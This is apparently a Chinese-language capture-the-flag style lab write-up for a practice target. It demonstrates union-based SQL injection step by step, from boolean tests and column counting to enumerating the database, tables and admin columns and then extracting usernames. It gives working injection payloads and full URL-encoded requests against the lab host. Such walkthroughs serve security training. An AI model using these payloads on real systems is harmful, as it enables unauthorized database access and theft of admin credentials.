封神台靶機練習第一章:SQL注入攻擊原理
1、查看參數的傳遞方式,選擇在哪里進行測試攻擊
方法:調出網頁控制台,觀查網絡狀況,通過消息頭查看參數提交的方式
通過對消息頭的分析,可以看出請求方法為get方式,因此我們就只要在瀏覽器地址欄中進行注入測試即可。如果為其他請求方式,如post,delete,update等等,可以借助postman工具進行測試。
2、判斷該網站是否能夠進行SQL攻擊注入
2.1、觀查地址欄地址,猜sql語句
http://59.63.200.79:8003/?id=1
根據?后面的參數可知,該請求肯定是根據id來查詢內容,查詢參數為id,因此我猜的SQL語句為:
select * from 表名 where id = 參數id
2.2、判斷該網站能否進行簡單的SQL注入攻擊
判斷思路:根據所猜SQL語句進行判斷
#參數id = 1 時,后台查詢的sql語句應該為:
select * from 表名 where id = 1
判斷1:當參數id = 1'是否顯示正常
測試結果如圖:所查詢的文章並沒有顯現,心中竊喜,1'被當作參數傳遞到了數據庫服務器中並執行了,因此可能存在SQL注入風險,此時的SQL語句為:
select * from 表名 where id = 1'
判斷2:當參數id = 1 or 1=1 和 id = 1 or 1=2是,是否顯示正常
因為參數id=1時,頁面能顯示信息,故前者肯定為true,不管后者是否為和取值,兩者相或,都為true。
斷言:如果頁面顯示正常 => 提交的sql拼接語句進入了數據庫服務器中並執行了 =>該網站存在注入風險
驗證:參數id=1時前者肯定為真,但是要讓頁面不正常顯示應該怎樣,只需要后者變為 and 1=2 即可,如果頁面真的如我們所願,則該站點肯定能夠進行sql注入了
3、判斷該表有幾個字段
使用order by對字段進行排序,二分測試,直到頁面顯示不正常,由此來判斷該表有幾個字段。
#對第一個字段進行排序查詢
select * from 表名 where id = 1 order by 1
經過反復實驗測試,在order by 2 時頁面就顯示不正常了,因此可以斷定該表的字段數為2,由此可以猜的:第一個字段為文章id,第二個字段為文章內容
4、尋找回顯點
有上一步的猜想可知,第二個字段應為文章內容,故應該是第二個字段顯示在頁面上,下面使用聯合查詢進行證實,拼接而成的SQL語句應該為:
select * from 表名 where id = 1 and 1=2 union select 1,2
如果頁面出現了2,這說明是第二個字段展示在頁面上,即為回顯點:
5、查詢該表所在的數據庫
由下面這條sql語句拼接,可以顯示出該表所在的數據庫名字:
select * from 表名 where id = 1 and 1=2 union select 1,database()
由顯示出來的數據庫名字可知,該數據庫的名字就為maoshe
6、查詢該數據庫中擁有的表的名字
由mysql數據庫的特性可知,information_schema的tables表中存儲着mysql每一個數據庫對應的數據表的信息,如下圖
其中table_schema字段對應的就是數據庫的名字,所以我們可以通過這張表,查詢出maose庫中擁有的數據表,拼接的sql語句如下:
select * from 表名 where id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
該庫查詢出來的表總共有:
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1
#查詢的數據表為admin
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1
#查詢的數據表為dirs
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1
#查詢的數據表為news
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1
#查詢的數據表為xss
有各表表明可以猜得,管理員得賬號和密碼應該在admin表
7、查詢admin表擁有的字段名稱
由mysql數據庫的特性可知,information_schema的columns表中存儲着mysql每一個數據庫對應的數據表的所有字段信息,透過數據庫名稱和表的名稱就可以一一查詢出來,如圖:
其中 table_schema就為數據庫名,table_name就為數據表名,我們可以通過限定這兩個字段查詢出admin表的所有字段,拼接的sql語句如下:
select * from 表名 where id = 1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1
admin表中有的字段為:
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%200,1
#查詢出來的字段為id
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%201,1
#查詢出來的字段為username
http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%202,1
#查詢出來的字段為password
8、查詢管理員信息
管理員表的表明和所有字段信息我們都清楚了,因此我們可以拼接如下的SQL語句進行對該表數據的查詢:
select * from 表名 where id = 1 and 1=2 union select 1,username from admin limit 0,1
經過測試,該表的用戶數據只有一個: